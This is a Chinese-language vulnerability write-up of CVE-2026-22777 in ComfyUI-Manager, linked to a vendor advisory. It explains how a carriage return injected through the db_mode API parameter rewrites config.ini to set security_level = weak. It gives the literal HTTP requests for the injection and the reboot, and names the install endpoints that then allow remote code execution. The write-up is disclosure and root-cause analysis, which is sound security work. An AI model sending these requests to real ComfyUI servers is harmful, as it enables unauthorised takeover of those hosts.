CVE-2026-22777 ComfyUI Manager 从 Config CRLF Injection 到 RCE
我在研究复现 CVE-2025-67303 ComfyUI-Manager RCE ( < 3.38) 时发现了 RCE 3.38 版本的办法(实际可利用范围 < 3.39.2, 4.0.0 - 4.0.4),和 swing 一起研究确认这个属于 0day 漏洞, 考虑到 ComfyUI-Manager 已经默认集成在高版本 ComfyUI,所以这个漏洞也可以说是 ComfyUI 的问题
https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2
ComfyUI 安全机制
ComfyUI 其中一个重要的安全机制是:通过配置文件(config.ini)中的 security_level 参数进行控制,不同安全等级对应不同的功能限制和适用场景。主要分为这四个等级:strong、normal、normal-、weak,我们只需要弄明白 normal 和 weak 的区别即可。
-
normal 等级仅允许安装/卸载已知可信节点组件,但禁止安装任意 Git 仓库、pip 包或者未验证节点,也不能下载非 safetensors 格式的模型。
-
weak 等级几乎无安全限制,允许包括安装任意代码、访问系统文件、重启服务等所有操作,极易受攻击。
一般情况下,ComfyUI 默认运行在 normal 等级,以保证基本安全。如果攻击者可以将 security_level 降级为 weak,就有可能绕过所有限制,相当于直接获得系统控制权,可以实现远程命令执行(RCE)等高危操作。
漏洞详情
- 受影响组件: ComfyUI-Manager
- 漏洞类型: CRLF Injection & RCE
- 攻击前提:
- 攻击者可以访问 ComfyUI 的 Web 端口。
- 影响结果: 远程命令执行
3. 深度根因分析
这个漏洞的成因是允许在 normal 安全级别下通过未经过滤的 API 接口向 config.ini 配置文件注入恶意配置项。
在默认的 normal 安全级别下,可以利用 /manager/db_mode 接口,配合回车符(Carriage Return, %0D)绕过 configparser 的缩进机制,在配置文件的末尾写入 security_level = weak。由于 db_mode 是写入流程中的最后一项,注入的恶意配置会覆盖原有的安全设置。配合 /manager/reboot 接口重启服务后,系统将降级为 weak 安全模式,允许执行高风险操作(如安装任意 git 仓库、pip 包等),造成 RCE。
3.1 输入验证缺失
在 glob/manager_server.py 中,/manager/db_mode 接口直接接收用户输入的 value 参数,并传给 set_db_mode 函数,未做任何合法性校验(如白名单检查)。
# glob/manager_server.py
@routes.get("/manager/db_mode")
async def db_mode(request):
if "value" in request.rel_url.query:
set_db_mode(request.rel_url.query['value']) # 直接传入,无过滤
core.write_config()
# ...
3.2 配置文件写入顺序缺陷
在 glob/manager_core.py 的 write_config 函数中,配置项是按硬编码的字典顺序写入的。关键在于 db_mode 是最后一个被写入的字段。
# glob/manager_core.py
config['default'] = {
# ... 前序字段 ...
'security_level': get_config()['security_level'], # 第 1696 行:写入当前的安全等级 (normal)
# ... 中间字段 ...
'db_mode': get_config()['db_mode'], # 第 1699 行:写入用户可控的 db_mode
}
这意味着,如果在 db_mode 中注入内容,它会被写入到 security_level 的后面。根据 Python configparser 的解析规则(当 strict=False 时),如果文件中存在重复的 Key,后出现的值会覆盖先出现的值。
3.3 ConfigParser 的解析特性与绕过
Python 的 configparser 在处理多行值时,要求后续行必须缩进(Indentation)。
- 直接换行 (
\n):configparser在写入时,通常会将换行符处理为值的延续(Continuation Line),导致注入失败(被视为上一行值的一部分)。 - 回车符 (
\r/%0D): 在文件写入模式下,\r会产生物理换行,但不会触发configparser自动添加缩进的前缀。当文件再次被读取时,解析器会将这行非缩进的文本识别为一个新的 Key-Value 对。
4. 攻击利用链
第一步:CRLF 注入配置
攻击者发送以下请求:
GET /manager/db_mode?value=cache%0Dsecurity_level%20=%20weak HTTP/1.1
Host: target-comfyui:8188
Payload 解码: cache\rsecurity_level = weak
写入后的 config.ini 样貌:
[default]
...
security_level = normal <-- 原有配置
...
db_mode = cache
security_level = weak <-- 注入配置 (由于无缩进,被解析为新Key)
第二步:使配置生效
由于 ComfyUI-Manager 将配置缓存在内存变量 cached_config 中,修改文件后不会立即生效。可以利用在 normal 级别下允许访问的重启接口:
GET /manager/reboot HTTP/1.1
Host: target-comfyui:8188
第三步:权限利用
重启后,security_level 变为 weak。此时可以访问被保护的高危接口,例如:
/customnode/install/git_url: 安装任意恶意 Git 仓库(可能包含恶意install.py脚本从而导致 RCE)。/customnode/install/pip: 安装任意 Python 包。